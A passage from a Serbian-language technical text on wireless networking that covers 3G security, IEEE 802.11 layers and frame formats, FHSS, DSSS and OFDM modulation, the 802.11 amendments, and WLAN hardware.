prema koli¢ini prenetih podataka umesto ranijeg nacina prema vremenu provedenom
na vezi. Primenom kodovanja 8PSK i protokola kao Sto je EDGE za GSM i
CDMAZ2000 1x-RTT za CDMA, brzina prenosa raste preko 144 Kbit/s, Sto je joS uvek
nekoliko puta sporije od 3G, i naziva se 2.75G servisom.

2.7 3G mreza je definisana prvobitnim standardom organizacije ITU, IMT-
2000. Kasnija dopuna standarda od strane organizacije 3GPP je dovela do sistema
Universal Mobile Telecomunications System (UMTS) koji se naziva i W-CDMA.
Bezbednost u 3G mrezama je poboljSana u odnosu na 2G. Uvedena je autentikacija
mreze prema korisniku tako da je korisnik siguran da se prijavljuje bas na Zeljenu
mrezu. 3G mreze koriste KASUMI blok kriptografski sistem umesto starog A5/1
kriptovanja toka podataka. Pojavila su se brojna ozbiljna upozorenja po pitanju
bezbednosti KASUMI kripto sistema. Kao reakcija na to, dodata je zastita na
aplikativnom nivou, od kraja do kraja veze. Takva vrsta zaStite se ne primenjuje
isklju¢ivo na 3G mreze.

3. Prikaz standarda IEEE 802.11

Ustanovljen je od strane IEEE LAN/MAN komiteta (IEEE 802). Standard
IEEE 802.11 je za bezi¢ne LAN mreze, Ethernet kompatibilne, namenjen uredajima
malog dometa. Obezbeduje specifikaciju za fizi¢ki i data link nivo OSI modela.

Aplikacioni nivo

Prezentacioni nivo

Sesijski nivo
Transportni nivo

LLC podnivo
MAC podnivo

Mrezni nivo

Data link nivo

- Fizicki nivo
PLCP podnivo
PMD podnivo

Slika 3.1.1 OSI model sa podnivoima 802.11 tehnologije

U okviru Data link nivoa postoje LLC i MAC podnivoi OSI modela 802.11
tehnologije.
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3.1 IEEE 802.11 Logical Link Control (LLC) je gornji

podnivo Data Link nivoa. On omogucava mehanizme za multipleks i kontrolu toka
Sto omogucava da nekoliko mreznih protokola (IP, IPX) istovremeno postoje u
okviru multipoint mreZe i da se prenose preko istog mreznog medijuma. LLC podnivo
je interfejs izmedu MAC podnivoa i mreznog nivoa. On je isti za razliCite fizicke
medijume (kao Sto su Ethernet, Token Ring i WLAN).

3.2 IEEE 802.11 Media Access Control MAC podnivo je

komplikovaniji od 802.3 MAC podnivoa, zato Sto treba reSiti probleme vezane za
pristup medijumu.

Frame Duration Sequence
Control D Address 1 Address 2 Address 3 Control Address 4 Frame Body ECS
2 Bytes 2 Bytes 6 Bytes 6 Bytes 6 Bytes 2 Bytes 6 Bytes 0-2312 Bytes 4 Bytes

Slika 3.2.1 802.11 generalni MAC okvir

Frame Control je duZine 2 bajta i sadrzi 11 potpolja. Duration/ID polje ima vrednost
u zavisnosti od toga u kom je rezimu stanica koja pristupa medijumu. Adress 1,2,3 i 4
polja se razlikuju u zavisnosti od tipa okvira i podtipa. Sequence control polje nosi
broj sekvence i broj fragmenta okvira. FCS polje sadrzi vrednost 32 bitnog cyclic
redundancy broja koji je izracunat za sva polja MAC zaglavlja i tela okvira.

Svi 802.11 okviri odgovaraju osnovnom 802.11 okviru. Sve tri kategorije MAC
podnivoa odgovaraju i koriste odredene delove generalnog MAC okvira za njihove
posebne uloge.

Postoje tri kategorije okvira u 802.11 MAC podnivou.

Kontrolni okviri, kontroliSu protok okvira sa podacima u toku normalnih 802.11
razmena podataka. Postoji Sest jedinstvenih kontrolnih okvira: Power save poll (PS-
Poll), RTS, CTS, ACK, Contention-free End (CF-End), CF-End + contention free
acknowledgment (CF-End + CF-ACK).

Upravljacki _okviri upravljaju WLAN vezama, procesom provere identiteta
(authentication) i statusom. Imaju polja iz generickog MAC okvira. Takode koriste
strukturu podataka koja je poznata kao informacioni element (IE) i fiksna polja. Uloga
IE i fiksnih polja je omogucavanje fleksibilnosti za definisanje moguénosti postoje¢ih
okvira i obezbedivanje proSirivog metoda za proSirenje funkcionalnosti MAC
upravljackih okvira.

Okviri _podataka prenose podatke stanice izmedu predajnika i prijemnika.
Specifikacija standarda opisuje osam jedinstvenih okvira podataka.

3.3 IEEE 802.11 tehnologija fizickog sloja
MAC sloj kod svih 802.11 tehnologija je isti, a fizi¢ki sloj je ono po ¢emu se
one razlikuju. Razlikujemo dva fizicka podsloja:
- Physical Layer Convergence Procedure (PLCP)
- Physical Medium Dependant (PMD).
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3.3.1 Physical Layer Convergence Procedure (PLCP)
Kada MAC sloj prosledi MAC okvir podataka, poznat i kao PLCP Physical Service
Data Unit (PSDU), u PLCP podsloj, PLCP dodaje dva polja na pocetak okvira da bi
se formirao PPDU okvir. Na slici je prikazan format PLCP okvira.

| PLCP preambula ‘ PLCP zaglavlje ‘
\ \ |
MAC Okuvir
Sinhro SFD PLW PSF HEC ( PSDU)
80 Bita 16 Bita 12 Bita 4 Bita 16 Bita

Slika 3.3.1 Format PLCP okvira

PLCP preambula se sastoji iz dva podpolja. Podpolje SYNC je dugacko 80 bita i
predstavlja niz sainjen od nula i jedinica, a zapoc€inje sa nulom. Prijemna stanica
koristi ovo polje da bi donela odluku 0 izboru antene u razli¢itim primenama, da bi se
nacinila korekcija nekog frekvencijskog pomeranja i radi sinhronizacije paketa.
Potpolje ,,start of frame delimiter - SFD* (grani¢nik pocetka okvira) je dugacko 16
bita i sastoji se od specijalnog bit niza (0000 1100 1011 1101, prvi bit levo) kojim
se obezbeduje tajming okvira za prijemnu stanicu.

PLCP zaglavlje se sastoji od tri podpolja: PSDU length word je polje dugacko 12 bita
i odreduje veli¢inu MAC okvira (PSDU) u oktetima. PLCP signaling polje (PSF)
dugacko je 4 bita, i ukazuje na brzinu prenosa okvira. Kreée se od 1 Mbit/s do 4.5
Mbit/s korakom od 0.5 Mbit/s. Header error control (HEC) predstavlja ITU-T Cyclic
Redundancy Check (CRC-16) vrednost za zaglavlje PLCP. Predajnik generise
checksum vrednost, a zatim prijemnik koristi tu vrednost da bi utvrdio postojanje
greSke u primljenim poljima PLW i PSF.

PSDU prolazi kroz blok za kriptovanje da bi se ulazna sekvenca bitova transformisala
u oblik koji je sluéajno generisan. U rezultuju¢em PSDU izmedu svakog bloka od 32
simbola umecu se tzv. ,,stuff simboli. Ovi simboli uklanjaju bilo kakvo odstupanje u
podacima, viSak jedinica u odnosu na nule ili obrnuto, Sto bi moglo da ima nezeljeni
efekat u toku kasnije obrade modula.

3.3.2 FHSS PMD (GFSK modulacija)
PLCP konvertuje okvir u binarni tok bitova (stream) i prosleduje ga u PMD podsloj.
FHSS PMD podsloj moduliSe ovaj tok podataka upotrebom GFSK metode (Gaussian
Frequency Shift Keying).

3.3.3 Gradivni elementi fizi¢kog sloja (PHY)

Da bi se razumeli razli¢iti PMD podnivoi, koje obezbeduje svaki od PHY slojeva
razlicitih 802.11 tehnologija, potrebno je razumeti osnovne gradivne elemente PHY
sloja, a to su:

- Kriptovanje (Scrambling) je metod pomoc¢u koga se obezbeduje da podaci
koje primate imaju, Sto je vise moguce karakter sluc¢ajnog broja, a to se postize
mapiranjem izmedu sekvenci bitova. Cesto se koristi termin ,ubeljivanje toka
podataka“. Vecina metoda Kriptovanja vrsi samostalnu sinhronizaciju, §to znaci da je
uredaj za dekriptovanje u stanju da se sinhronizuje sa uredajem za kriptovanje.

- Kadiranje (Coding) je mehanizam koji omogucuje prenos podataka velikim
brzinama kroz kanale koji poseduju Sum. Ovo se postize zamenom sekvence bitova
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duzom sekvencom koja omogucéuje da se prepozna i koriguje osteceni bit. Najcesci tip
kodiranja u danaSnjim komunikacionim sistemima je konvolucioni koder, zato Sto je
hardverska implementacija takvog kodera prili¢no pojednostavljena upotrebom kola
za kasnjenje i sabiraca.

- Umetanje (Interleaving) se uvodi da bi pogreSno preneti bitovi bili
razmeSteni u grupe gde nastaju greske, tako da deluju nezavisno. Bilo da se umetanje
vrSi softverski ili hardverski cilj je da se susedni bitovi razdvoje umetanjem
nesusednih bitova.

- Mapiranje simbola i modulacija. Proces modulacije preslikava sekvencu
bitova na nose¢i talas u radnom frekventnom opsegu. Proces modulacije se moze
vrsiti nad amplitudom, frekvencijom ili fazom. lako se sekvenca bitova moze direktno
modulisati u nose¢i signal upotrebom amplitudne, frekventne ili fazne modulacije,
mapiranjem grupe bitova u simbole moze se preneti viSe bitova u slobodni propusni
opseg nosioca. Mapiranje u simbole je proces u kome se bitovi grupiSu i mapiraju u
kvadratnu i faznu komponentu. Obi¢no se predstavlja u Kartezijanskom koordinatnom
sistemu, gde je na x osi fazna komponenta, a na y osi kvadratna komponenta i to se
naziva konstelacija.

3.4 Metod frekvencijskog skakanja FHSS

Izvor > FSK —}S(t) $aé& iaani Nekoherentna
informacije modulator Mesac R Pf‘ﬁjt?;m » demodulacia > |
FSK signala n(t, Tm;

Generator Sintetizator Izlazni Sintetizator | Generator Kolo za

—»
Pseudoslucajnel "0l estanosti sqy | stepen uGestanosti 1« PSS
Sekvence L »

€ sinhronizaciju
sistema

predajnik prijemnik

Slika 3.4 Blok Sema FHSS modulacije

Izvor informacije je u digitalnom obliku. Na izlazu iz FSK (Frequency Shift Keying)
digitalno frekventnog modulatora dobija se signal S(t).

S(t) = Acos|mr + (2 —1)Aw]-t (3.3.1)

Pri tome je u = 1 ako se na izlazu izvora informacije nalazi binarna jedinica, odnosno

pH =0 ako se na njegovom izlazu nalazi binarna nula. Sintetizator ucestanosti zajedno
sa generatorom pseudoslucajne sekvence generiSe prostoperiodi¢ni signal Cija se
ucestanost skokovito menja po zakonu koji je odreden pseudoslucajnom sekvencom

S«(t).

Ss(t) = 2cos(w2 + MAw) - t (3.3.2)

Pri tome je M slucajan broj koji moze da ima N razli¢itih vrednosti (1< N< ). Period
Tt izmedu dve sukcesivne promene broja M je odreden nejednakoséu 1/T, >1/T; >L T,

Izlazni signal meSaca ¢iji je izlazni filter podeSen na ucestanost
w1t w2+ (Mmaxd 0)/2= wot+(Mmindw)/2 moze se predstaviti u sledeCem obliku:

S, (t) = Acos|w, + (2u —1)Aw + w, + MA®]-t = Acos|w, + (2u —1)Aw + MAw]-t (3.3.3)
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Ucestanost ovako dobijenog signala se menja u diskretnim vremenskim intervalima,
kao rezultat delovanja binarnog signala koji nosi informaciju i pseudoslucajne
sekvence. Sirina spektra signala zavisi od maksimalne vrednosti broja M i iznosi
(Mmax +2)4w. U procesu meSanja FSK signala koji nosi informaciju i izlaznog signala
sintetizatora ucCestanosti, izvrSena je ekspanzija spektra korisnog signala koji zauzima
frekventni opseg 24w u novi frekventni opseg (Mmax +2)4w. U prijemniku sistema se
generiSe identina pseudoslucajna sekvenca koja je tatno u sinhronizmu sa
sekvencom u predajniku sistema. Posto signal sintetizatora u prijemniku ima isti oblik
kao i signal sintetizatora u predajniku moze se opisati relacijom (3.3.2.). Posle
meSanja ulaznog signala sa sinhronim lokalno generisanim signalom sintetizatora na
izlazu pojasnog filtera meSaca dobija se signal Cija je ucestanost jednaka razlici
ucestanosti ulaznih signala.

Su(t) = Acos|w, — @, + 2 —1)Aw + MA® — MAw|= Acos|w, + 2u -1)Aw]  (3.3.4)

Tom operacijom je na ulazu prijemnika izvrSena kompresija spektra Sirokopojasnog
signala opsega (Mmaxt+2)4w u mnogo uzi opseg korisnog signala koji zauzima
frekventno podrucje Sirine 24w. Pri tome je snaga korisnog signala na ulazu u FSK-
demodulatora ista kao i u sluéaju klasi¢nog digitalnog prenosa informacije, ali je
prenos ostvaren sa mnogo manjom gustinom snage. U prakticnim realizacijama
proces FSK modulacije se realizuje u sintetizatoru.

3.5 Tehnike rada u proSirenom spektru (DSSS)

T S®

Izvor Promena | g, h S.® Pojasni | S.(t)
informacije ElU) nivoa _ S0, E;IZS,S;:CI” f"tér " ccj:;n?oKdulator
m(,T, ) S(t—s() B=2fm
Promena nivoa
Generator Generator et ) e(t,T.)
pseudoslucajne nosece T mtT. )
sekvence ucestanosti y o
e(tT,.) Acosw t Generator
pseudoslucajne |, Blok
sekvence sinhronizacije
e(tT.)
predajnik prijemnik

Slika 3.5 Blok Sema DSSS modulacije

Izvor informacije generiSe binarni signal p(t, T ), generator pseudoslucajne sekvence
generise pseudoslucajni signal e(t,Te ). Binarni simbol ima periodu Ty, i amplitudu
U(t,Tm)=1 ako se prenosi binarna jedinica odnosno amplitudu p(t, T )=0 ukoliko se
prenosi binarna nula. Pseudoslucajna sekvenca ima takode jedini¢énu amplitudu ali je
perioda binarnih simbola unutar nje mnogo manja T, >> T.. DSSS signal se dobija
tako Sto se prvo sabiranjem po modulu 2 informacionog i pseudoslucajnog signala
dobije novi signal kojim se vrSi CPSK modulacija talasa nosioca koji ima uéestanost
wo. Postupak CPSK modulacije se realizuje tako Sto se unipolarni signal
s(t)=m(t,Tm) @ e(t,Te) promenom nivoa prvo pretvori u bipolarni signal amplitude £1 a
zatim se prostim mnozenjem na balansnom modulatoru generise CPSK signal. Posto
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je operacija binarnog sabiranja po modulu 2 unipolarnih binarnih signala sa
promenom nivoa rezultantnog signala radi njegovog prelaska u bipolarni oblik,
ekvivalentna mnozenju istih binarnih signala u bipolarnom obliku, signal predajnika
DSSS sistema moze se pisati kao

S,(t) = As(t)cosa,t = A- fa(t, Tn) - €(t, T:) coS ot (3.5.1)

Pri tome su sa S(t)=2s(t)-1u(t,T,)=2u(tT,)-LE(tT,)=2e(tT,)—1 obelezeni
bipolarni ekvivalenti unipolarnih signala s(t), u(t,Tm) i e(t,Te). Na osnovu relacije
(3.5.1) moze se formalno smatrati da je signal S; (t) nastao tako Sto je prostoperiodi¢ni
talas nosilac Acoswet amplitudno modulisan (sa potisnutim nosiocem) sa svakom
spektralnom komponentom pseudosluc¢ajnog signala a nakon toga svaka spektralna
komponenta novodobijenog signala amplitudno modulisana sa signalom /(t, T, ) koji

ima kontinualni spektar. 1zvrSena je ekspanzija spektra signala koji nosi informaciju u
mnogo Siri frekventni opseg odreden frekventnom ucestanosc¢u fe sa kojom se generiSu
binarni simboli u pseudoslucajnoj sekvenci. Time se postize da emitovani signal ima
veoma malu i relativno konstantnu gustinu spektra snage u veoma Sirokom
frekventnom podrucju. Ovakav signal podseca na spektar Sirokopojasnog Gaussovog
Suma, S$to znaci da ga je dosta teSko uoditi posto lic¢i na Sum. Ovakav sistem je takode
otporan na smetnje uzrokovane prisustvom pojedina¢nih spektralnih komponenti koje
potic¢u od drugih sistema.

U prijemniku sistema DSSS signal se mnozi sa identicnom bipolarnom (PSS)
pseudoslu¢ajnom sekvencom € (t,T,) koja je tacno sinhronizovana sa PSS koju
primljeni DSSS signal nosi u sebi sa predajnika. Pretpostavimo da se na ulazu
prijemnika nalazi samo signal Si(t) bez ikakve dodatne smetnje. Nakon mnozenja sa
lokalno generisanom pseudoslucajnom sekvencom dobija se signal

SI(t)=S,(t)-E(t,T.)= Au(t,T,)[E(t,T.)f cosmyt (3.5.2)
Imajuéi u vidudaje [€(t,T,)f =1 ulazni signal pojasnog filtra postaje
S!(t) = Ali(t, T, ) cosawst = Al2u(t,T, ) —1]cosa,t (3.5.3)

Pojasni filter ima simetri¢nu prenosnu karakteristiku u odnosu na centralnu ucestanost
wo 1 propusni opseg dovoljan da signal S| (t) prode na ulaz CPSK demodulatora bez

znatnih deformacija. Mnozenjem ulaznog DSSS signala sa sinhronizovanom, lokalno
generisanom pseudoslu¢ajnom sekvencom, postize se efekat kompresije spektra
signala ¢ime je od Sirokopojasnog DSSS signala dobijen klasi¢éni CPSK signal iste
snage ali lociran u mnogo uzem frekventnom opsegu koji je odreden impulsnom
ucestanosc¢u f, sa kojom se generise digitalni signal koji nosi informaciju. U procesu
ekspanzije i kompresije spektra, srednja snaga korisnog signala ostaje nepromenjena.
Medutim, ovim se postupkom nivo snage ometajuceg signala, koji prolazi do ulaza
CPSK demodulatora, u velikoj meri redukuje ¢ime se imunost ovako koncipiranog
sistema za prenos informacija na ometanje u velikoj meri povecava.
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3.6 OFDM Modulacija

OFDM je osnova za standard 802.11a. Kao tehnologija OFDM (engl.
Orthogonal Frequency Division Multiplexing) je patentirana 1970. To je multikanalna
modulacija, kreirana da bi se podaci prenosili pod jakom medjusobnom
interferencijom (intersymbol interference - ISI). Sliéno nacinu modulacije FHSS
signala na odgovarajucu frekvenciju nosioca, kanal se rastavlja na N nezavisnih
kanala. Za dati propusni opseg kanala, $to je veée N koje se izabere, to ¢e biti duzi
period za signal i uzi podkanal. To znaci da ako broj podkanala raste ka beskonacnom
to se ISl smanjuje tj. tezi nuli. U 802.11a kanal od 20 MHz je podeljen u 52
podkanala Sirine 312.5 kHz i koji rade u osam standardnih kanala. Za kreiranje
nezavisnih simbola, korisni alat je brza Furijeova transformacija (FFT), koja
predstavlja efikasnu implementaciju diskretne Furijeove transformacije (DFT). Ona
konvertuje signal iz vremenskog domena u frekvencijski domen i obratno. Obrada
signala u frekventnom domenu je jednostavnija, ali u prijemniku treba da bude
prijemni signal u kanalu, u kruznoj konvoluciji a ne samo u konvoluciji. U
frekvencijskom domenu se generise N 4-QAM (Quadrature Amplitude Modulation)
simbola, koji se zatim konvertuju u vremenski domen upotrebom inverzne brze
Furijeove transformacije (IFFT). Ako se iznos transformacije podesi da bude jednak
stepenu dvojke, time se omogucava jednostavna i efikasna implementacija. OFDM
radi sa Cetiri modulacije BPSK, QPSK, 16-QAM i 64-QAM. Signali podkanala su
ortogonalni, §to zna¢i da se svaki moze izdvojiti u prijemniku bez interferencije sa
drugim podkanalima. To je mogucée zato §to matematiCke 0sobine ortogonalnih
talasnih oblika osiguravaju da je proizvod bilo koja dva podkanala nula. To takode
dozvoljava prijemnom kraju da rekonstruiSe oStecene delove primljenog signala.
OFDM tehnologija se primenjuje i u drugim sistemima, kao Sto je Asymetric Digital
Subscriber Line (ADSL), Digital Audio Broadcasting (DAB), Digital Video
Broadcasting Terrestial (DVB-T), i 802.11g

konstelacija detekcija simbola
| o
s(t) r(t) Re
X, Re » bac ADC |—»
- . X, fc
ey FFT e FET
¢ [+7- 2
3o + =
gg| LIk s
n Qo &
©
Tm Tm =%
o | e » DAC ADC |—|
s o] X
predajnik prijemnik

Slika 3.6. Blok Sema OFDM modulacije

OFDM signal je zbir viSe ortogonalnih podkanala, sa baznopojasnim podacima u
okviru svakog podkanala koji je nezavisno modulisan koris¢enjem neke od vrsta
modulacije, engl. Quadrature Amplitude Modulation (QAM) ili engl. Phase Shift
Keying (PSK). Taj sumarni signal se koristi za modulisanje glavnog RF nosioca.

U predajnik dolazi s[n] serijski niz binarnih signala. Inverznim
multipleksiranjem, koje demultipleksira u N paralelnih tokova, i svaki od njih mapira
u tok simbola koriste¢i neku od konstelacija (QAM, PSK). Inverzna brza Furijeova
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transformacija se racuna za svaki skup simbola, dajuci skup uzoraka u vremenskom
domenu. Ti uzorci se zatim popre¢no meSaju U propusnom opsegu na standardni
nacin. Realne i imaginarne komponente se prvo konvertuju u analogni domen
koriste¢i DAC (digital to analog convertor). Analogni signal se koristi za modulaciju
cos i sin talasnih oblika na nosecoj frekvenciji , f¢, respektivno. Ti signali se sumiraju i
daju signal na izlazu iz predajnika, s(t).

Prijemnik dobija signal r(t), koji se popre¢no meSa dole na osnovnu
frekvenciju koriste¢i cos i sin talasne oblike na nosecoj frekvenciji. To takode pravi
signale sa osnovnom frekvencijom 2f,, ali se niskopropusni filteri koriste da ih
odbace. Osnovni signali se tada uzorkuju i digitalizuju koris¢enjem ADC Analogno
digitalnih konvertora. Brza Furijeova transformacija se koristi da ih vrati nazad u
frekventni domen. To daje N paralelnih tokova, od kojih se svaki konvertuje u binarni
tok koris¢enjem odgovarajuceg signal detektora. Ti tokovi signala se vracaju u serijski
tok, §[n], koji je estimacija orginalnog binarnog toka u predajniku.

Matematicka osnova:

Ako se koristi N podkanala, i svaki podkanal je modulisan koris¢enjem M razli¢itih
simbola, OFDM symbol alfabet se sastoji od M " kombinovanih simbola.
Niskopropusni ekvivalent OFDM signala se moze predstaviti kao:

N-1 )
v(t) =) X e T o<t <T, (3.6.1)
k=0

Gde su {Xi} simboli podataka, N je broj podkanala i T je OFDM period simbola.
Podkanalni 1/T ga ¢ini ortogonalnim u odnosu na svaki period simbola, §to se pise:

T T
LT [(e#%HT) @1+ T)dt =1/T [e?7te Tt = sk k, (3.6.2)
0 0

Gde (.)” oznacava operaciju kompleksne konjugacije i 2 je Kronekerovo delta.

Da bi se sprecila medusimbolna interferencija zbog slabljenja signala usled fadinga,
zastitni interval duZine Ty se umec¢e pre OFDM bloka. U toku tog intervala, ciklicki
prefiks je prenet tako da je signal u intervalu -T4 <7 < 0 jednaksignalu T-Tg<¢<T.
OFDM signal sa cikli¢kim prefiksom je prema tome:

N-1 .
v(t) =) X e T <t<T (3.6.3)

k=0

Niskopropusni signal iznad moze biti vrednovan u realnom ili u kompleksnom
domenu. Realna komponenta niskopropusnog signala se uglavnom koristi kod
Sirokopojasnih  zi¢nih komunikacija kao §to je DSL. Za bezi¢ne aplikacije,
niskopropusni signal ima uglavnom kompleksnu vrednost; u kom slucaju, je signal
prenet na nosecu frekvenciju fc . UopSteno se preneti signal moze predstaviti kao:

s(t) = Rv(t)e’>™ |= §|xk|cos(2n[fc +k/T]t+arg[X, ) (3.6.4)
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3.7 Pregled razvoja standarda IEEE 802.11

IEEE 802.11 ili WLAN standard je usvojen 1997. god. Ostale ekstenzije su
dopune standarda - izuzev prakti¢nih preporuka pod nazivom 802.11F i 802.11T.
Ovaj standard obuhvata tri fizicka nivoa, infracrveni opseg IC 250 ns sa brzinom
prenosa 1 Mbit/s, i dva u opsegu radio frekvencija RF koji koriste ISM (engl.
Industrial Scientist Medical) band 2.4 GHz koji je slobodan za nelicencirane
korisnike. Prvi je sa modulacijom FHSS (engl. Frequency Hoping Spread Spectrum), i
drugi DSSS (engl. Ddirect Sequence Spread Spectrum). Oba rade sa brzinom prenosa
1 Mbit/s ili 2 Mbit/s. Zbog zastarelosti ovaj standard ima dosta modifikacija.

IEEE 802.11a koristi data link nivo i format okvira kao i orginalni standard,
ali sa tehnikom modulacile OFDM (engl. Orthogonal Frequency-Division
Multiplexing) na fizickom nivou. Prenos signala je u 5GHz pojasu, sa maksimalnom
brzinom prenosa od 54 Mbit/s i dodatkom koda za korekciju greske. To daje
prinvatljivi protok od 20 Mbit/s. Zbog povecane absorpcije elektromagnetnih talasa,
na viSim frekvencijama, smanjen je domet.

IEEE 802.11b poznat kao Wi-Fi. Omogucava povecanje brzine protoka na
5.5Mbit/s i 11 Mbit/s $to ga uz smanjenje cena bezi¢nih mreznih kartica, na trzistu
mreznih uredaja dovodi u ravan sa 10 Mbit Ethernetom.

IEEE 802.11c DefiniSe operacije sa mreznim mostovima (engl. Bridges),
ukljuc¢eno u standard IEEE 802.1D.

IEEE 802.11d Medunarodni standard za roming bezi¢nih racunarskih mreza..

IEEE 802.11e Prosirenje vezano za upravljanje performansama (QoS),
ukljucuje i razbijanje paketa.

IEEE 802.11f DefiniSe komunikaciju izmedu pristupnih tacaka.

IEEE 802.11g Radi na frekvencijama 2.4 GHz. Koristi novi nalin
modulisanja OFDM kao kod 802.11a i ima maksimalni protok od 54 Mbit/s. Kartice
su kompatibilne unazad sa 802.11b. Kao i 802.11b osetljiv je na interferenciju od
drugih uredaja kao $to su mikrotalasne rerne, bluetooth uredaji, celularni telefoni i sl.

IEEE 802.11h Ovo prosirenje uvodi DFS (engl. Dynamic Frequency
Selection) i TPC (engl. Transmit Power Control) $to omogucava Stednju energije kod
mobilnih baterijski napajanih uredaja. ReSava probleme kao Sto je interferencija sa
satelitima i radarima koji koriste 5GHz band. Mada je razvijan za potrebe Evropske
unije Kkoristi se u mnogim drugim zemljama. Integrisan je u IEEE 802.11-2007
standard.

IEEE 802.11i Odreduje nove sigurnosne mehanizme za bezi¢nu mrezu, staru
odredbu autentikacija i privatnost menja sa novom detaljnijom odredbom security.
Nove komponente su 802.11X za autentikaciju, RSN (engl. Robust Security Network)
za pracenje pridruzivanja na mrezu i na AES (engl.Advanced Encryption Standard)
zasnovan CCMP za obezbedivanje poverljivosti, integriteta i autentikaciju korisnika.
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IEEE 802.11j Posebno prilagoden Japanskom trzistu. Radi u opsegu 4.9 do
5GHz.

IEEE 802.11-2007 Verzija standarda koja objedinjuje ekstenzije
a,b,d.e,g,h,i,j.

IEEE 802.11k DefiniSe upravljanje radio resursima. Ukoliko je signal neke
pristupne tacke AP ja¢i od ostalih, nec¢e se svi korisnici prijavljivati na tu AP. Po
ovom standardu izvrsi¢e se raspodela korisnika i na druge pristupne tacke, tako da se
ukupne performanse sistema poboljSavaju.

IEEE 802.111 Rezervisano, ali se nece koristiti.

IEEE 802.11m Objedinjene i sistematizovane sve prethodne verzije
standarda, tako da poslednja revizija ovog prosirenja prerasta u IEEE 802.11-2007.

IEEE 802.11n Nastao dodavanjem na fizickom nivou (PHY) Multiple input
multiple output (MIMO) tehnologije koja koristi viSe antena u prijemu i predaji kako
bi povecala performanse sistema. | operacije spajanja kanala na 40 MHz, gde se
koriste istovremeno dva nepreklapajuca kanala za prenos podataka. Primenjuje se
agregacija okvira na MAC nivou. Navedene izmene daju znacajno povecanje protoka
sa 54Mbit/s do maksimalnih 600 Mbit/s. Kona¢na verzija ovog standarda se ocekuje u
Novembru 2009 god. ali ve¢ su dostupne neke draft verzije kod nekih proizvodaca
opreme.

IEEE 802.110 Rezervisano, ali se nece koristiti.

IEEE 802.11p Je predlog dopune standarda, kako bi se omoguéila
komunikacija sa vozilima u pokretu i izmedu vozila u pokretu u okviru licenciranog
opsega 5.9 GHz (5.85-5.95GHz). Ovaj standard je u vezi sa standardom IEEE 16009.
Njegova konacna verzija je uradena u Aprilu 2009 god.

IEEE 802.11q Rezervisano, ali se nece koristiti zbog sli¢nosti naziva sa IEEE
802.1Q VLAN.

IEEE 802.11r Omogucava neprekidnu povezanost sa bezicnim uredajem u
pokretu, uz brzi i bezbedan prelazak sa jedne pristupne tacke na drugu. To je podrska
aplikaciji VolP, za prenos govora.

IEEE 802.11s Predlog dopune standarda za kreiranje mreze. DefiniSe kako se
bezi¢ni uredaji mogu povezati da kreiraju ad-hoc mrezu. Putanje za prenos kroz takvu
mrezu se utvrduju nekim od protokola za rutiranje, a preporuceni je HWMP (Hybrid
Wireless Mesh Protocol). Ovaj standard ukljucuje i mehanizme za omogucavanje
deterministickog mreznog pristupa, kontrolu zagusenja i Stednju energije za napajanje
uredaja.

IEE 802.11T Standardizacija metoda za predvidanje karakteristika bezi¢ne

mreze Wireless Performance Prediction (WPP), metode testiranja i preporuke za
merenja performansi wireless mreze.
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IEEE 802.11u Povezivanje sa mrezama koje nisu pod IEEE 802 standardom
npr. celularne mreze.

IEEE 802.11v Skup pravila koja sluze za upravljanje bezicnom mrezom. Ta
pravila se koriste i u verzijama 802.11a, 802.11b, 802.11g, i 802.11n i time se
omogucava konfigurisanje klijentskih uredaja koji su povezani na IEEE 802.11
mrezu.

IEEE 802.11w Predlog poboljSanja zastite prenosa upravljackih okvira, koji
se prema izvornom standardu Salju bez zastite, Sto ih ¢ini ranjivim.

IEEE 802.11x Rezervisano, ali se nece koristiti, zbog slicnosti naziva sa
IEEE 802.1x mreznom kontrolom pristupa.

IEEE 802.11y Radi u opsegu 3650 — 3700 MHz u SAD.
IEEE 802.11z Prosirenje za Direkt Link podeSavanja (DLS).

IEEE 802.11aa Podrzava robusno prenoSenje audio i video materijala u
realnom vremenu.

3.8 Hardverska oprema za WLAN-a

Oprema kojom se uspostavlja, meri i odrzava WLAN je: pristupna tacka
(acess point), wireless ruter, racunarska platforma (pc ili pda), bezicna mrezna
kartica, antena, pojacavac signala i skener tj. spektralni analizator. Postoji dosta
proizvodaca opreme ¢ijim udruzivanjem je nastala interesna organizacija WiFi.
Ona ispituje uskladenost opreme sa standardom IEEE 802.11 i njenu
interoperabilnost. Samo ona oprema koja prode ispitivanje interoperabilnosti
moze da nosi oznaku WiFi.

3.8.1 Pristupna tacka i WLAN ruter

Pristupna tacka (engl. Access Point — AP) Slika 3.8.1- umesto Dial In servera
ili Ethernet habova (skup razli¢itih uredaja koji se ponasaju kao CvoriSte, tj.
razvodnik). Pristupna tacka je uredaj koji sluzi za medusobno povezivanje klijenata i
predstavlja centralni deo jedne mreze. Takode, moze da se Kkoristi i za spajanje
wireless klijenata sa LAN-om ili sa izlazom na Internet. Svaka pristupna tacka ima
integrisan konektor za antenu kao i makar jedan konektor za LAN. Moze raditi u
nekoliko modova (€ije prisustvo varira u zavisnosti od uredaja i proizvodaca): client
mod (pomocu njega se spaja ha mrezu isto kao i pomocu obic¢ne kartice), bridge mod
(koristi se za spajanje dve mreze ili vise mreza u jednu celinu), repeater mod
(repeater — ponavljac, koristi se ako je potrebno dodatno povecati domet mreze, u
ovom modu uredaj ponavlja sve ono Sto “cuje”).
Pristupna tacka se proizvodi kao:
o Bridge - Bridz transparentno povezuje bezi¢nu i LAN mrezu.
o NAT ruter - NAT ruter prevodi saobracaj sa bezi¢ne mreze na LAN mrezu, ali
ne i u obrnutom smeru i obi¢no se koristi za bezini pristup Internet-u.
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NAT je skratenica za Network Address Translation - tehniku zaStite i
"skrivanja" podmreze.

e Ruter + NAT bridge - Ova vrsta uredaja bridzem spaja bezi¢nu i LAN mrezu i
zatim ih ruterom povezuje sa Internet-om pomocu jedne IP adrese. Ovi uredaji
najc¢esce imaju ugraden kablovski ili DSL modem

Slika 3.8.1 Pristupna tacka (AP) i Ruter

3.8.2 Racunarske platforme

Notebook racunari su verovatno najviSe koriS¢ena platforma za ispitivanje
raspolozivih pristupnih tacaka (AP). Ruc¢no prenosivi racunari (PDA) omogucavaju
vecu pokretljivost i prakticniji Su ako se ispitivanje raspolozivosti vrSi pesSice.
Medutim instalacija softvera na ru¢no prenosivi racunar kao sto je na Slici (3.8.2.1),
ukljucujuéi i Linux je dosta komplikovana. Za ratne voznje (wardrives) obi¢no se
koristi notebook zato Sto daje odgovarajucu pokretljivost, a moze se jednostavno

prikljuciti na napajanje iz automobila.

